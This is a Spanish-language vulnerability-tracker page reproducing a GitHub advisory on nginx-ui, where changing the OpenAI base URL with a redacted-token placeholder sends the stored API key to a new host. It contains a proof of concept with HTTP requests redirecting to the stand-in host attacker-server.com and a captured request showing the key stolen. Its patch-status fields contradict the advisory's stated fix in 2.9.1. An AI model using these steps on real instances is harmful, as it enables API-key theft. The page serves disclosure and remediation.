llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Go · github.com/0xJacky/Nginx-UI

GHSA-P355-QJWH-8HGM

OpenAI API Key Exfiltration via Unprotected BaseUrl Setting Change

Sin parche publicado
Descargar PNG JSON
CVSS 3.1
2.7
Baja
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición7 dDesde la divulgación, 12 nov 2026, 4:38 a. m.
Detección6 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
12 nov 26
18 nov 26
19 nov 26
12 nov 26
14 nov 26
16 nov 26
18 nov 26
19 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-P355-QJWH-8HGM divulgada · CVSS 2.7 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

An administrator session or an `api:write` service token (nginx-ui has no low-privilege interactive users) could change the saved OpenAI base URL or proxy while sending the redacted token placeholder, which restored the stored API key. Subsequent LLM requests then sent the stored key to the new destination. Affects instances with an LLM provider token configured. The changed base URL is visible on the settings page.

Patches

Fixed in 2.9.1 (fecb2a8d71 https://github.com/0xJacky/nginx-ui/commit/fecb2a8d71): the saved token is only reused while the base URL, proxy and API type keep their saved values; changing any of them requires the token to be re-entered.

Workarounds

Limit `api:write` tokens to trusted automation, and rotate the provider key if the saved base URL or proxy changed unexpectedly.

---

Original report

The maintainer narrowed the following points: the prerequisite is an administrator-equivalent credential rather than "any authenticated user", and the base URL change is visible in the UI.

Summary

Any authenticated user can exfiltrate the stored OpenAI API key by changing the unprotected BaseUrl setting to an attacker-controlled server while preserving the real token via the sentinel value `__NGINX_UI_REDACTED__`. The maintainer's own code comment in `api/llm/models.go` describes this exact attack but protection was only applied to one endpoint.

Details

nginx-ui's OpenAI integration stores the API key with `sensitive:"true"` (redacted as `__NGINX_UI_REDACTED__` when read via API). However, the `BaseUrl` and `Proxy` fields in `settings/openai.go` lack the `protected:"true"` tag, allowing any authenticated user to redirect all LLM API calls to an attacker-controlled server. The real API key is sent in the `Authorization` header of every redirected request.

The Sentinel Value Attack

The attack exploits the `restore` function in `api/settings/section.go` (lines 224-230):

var openAISection = settingsSection[settings.OpenAI]{
    restore: func(payload *settings.OpenAI) {
        if payload.Token == redactedSensitiveValue {
            payload.Token = settings.OpenAISettings.Token  // preserves real token
        }
    },
}

By sending `__NGINX_UI_REDACTED__` as the token alongside a new BaseUrl, the attacker preserves the victim's real API key while redirecting where it is sent.

Maintainer Awareness

The maintainer is aware of this exact attack vector. In `api/llm/models.go` (lines 57-62), a code comment explicitly states:

// The saved token is only sent to the saved endpoint through the saved proxy:
// otherwise anyone who can open the settings page could point the base URL at
// a server of their own and read the token from the request.

The `storedTokenFor()` function implements this protection — but only for the `ListModels` endpoint. The actual LLM request path (`MakeChatCompletionRequest` in `api/llm/llm.go` line 89) calls `GetClient()` which reads directly from `settings.OpenAISettings` without any BaseUrl validation.

Root Cause

| File | Line | Issue |
|------|------|-------|
| `settings/openai.go` | 21 | `BaseUrl` has no `protected:"true"` tag |
| `settings/openai.go` | 23 | `Proxy` has no `protected:"true"` tag |
| `api/settings/section.go` | 224-230 | `restore` function preserves token with sentinel |
| `api/llm/llm.go` | 89 | `GetClient()` uses saved settings without BaseUrl check |
| `internal/llm/client.go` | 34,50 | Token sent to user-controlled URL |

Proof of concept

Prerequisites: nginx-ui instance with OpenAI configured (any version with LLM integration).

Step 1: Victim admin configures OpenAI with a real API key:

POST /api/settings/openai
Content-Type: application/json
Authorization: Bearer <jwt>

{"token": "sk-proj-REAL-KEY", "base_url": "https://api.openai.com/v1", "provider": "openai"}

Step 2: Attacker (any authenticated user — no RBAC) changes only the BaseUrl, using the sentinel value to preserve the real token:

POST /api/settings/openai
Content-Type: application/json
Authorization: Bearer <attacker-jwt>

{"base_url": "https://attacker-server.com/v1", "token": "__NGINX_UI_REDACTED__"}

Result: HTTP 200 — BaseUrl changed, token preserved via restore function.

Step 3: Any user triggers the AI assistant (chat, code completion, config title generation):

POST /api/llm
Content-Type: application/json
Authorization: Bearer <any-jwt>

{"messages": [{"role": "user", "content": "hello"}]}

Step 4: Attacker's server receives the real API key:

POST /v1/chat/completions HTTP/1.1
Host: attacker-server.com
Authorization: Bearer sk-proj-REAL-KEY    <-- STOLEN
Content-Type: application/json

{"model":"gpt-4","messages":[{"role":"user","content":"hello"}]}

Full automated PoC with embedded capture server tested on Docker (nginx-ui latest). Token captured in Authorization header.

Impact
  • API key theft: The victim's OpenAI API key (which can cost thousands of dollars in usage) is sent to the attacker's server in the Authorization header
  • Stealthy: The token still appears as `__NGINX_UI_REDACTED__` in the settings UI — the victim has no visual indication the BaseUrl was changed
  • Affects all LLM calls: Every chat completion, code suggestion, and title generation sends the key to the attacker
  • Inconsistent protection: The `storedTokenFor()` function in `models.go` proves the maintainer considers this a real threat — but the protection only covers the ListModels endpoint, not MakeChatCompletionRequest
  • Real-world scenario: In a shared nginx-ui instance (common in teams), a disgruntled team member or compromised account can silently steal the organization's OpenAI API key

Suggested Fix

Add `protected:"true"` to `BaseUrl` and `Proxy` fields in `settings/openai.go`:

type OpenAI struct {
    BaseUrl string `json:"base_url" protected:"true"`
    Token   string `json:"token" sensitive:"true"`
    Proxy   string `json:"proxy" protected:"true"`
}

This is consistent with how other security-sensitive fields are protected (`Terminal.StartCmd`, `Logrotate.CMD`, `Crypto.Secret`, all Casdoor/OIDC fields).

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:H
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:L
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
github.com/0xJacky/Nginx-UI< 2.9.1
v1.9.9
2.9.1
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
gogithub.com/0xJacky/Nginx-UI
Sin parche — — v1.9.9 afectada
Versiones corregidas2.9.1
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/0xJacky/nginx-ui/security/advisories/GHSA-p355-qjwh-8hgm

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.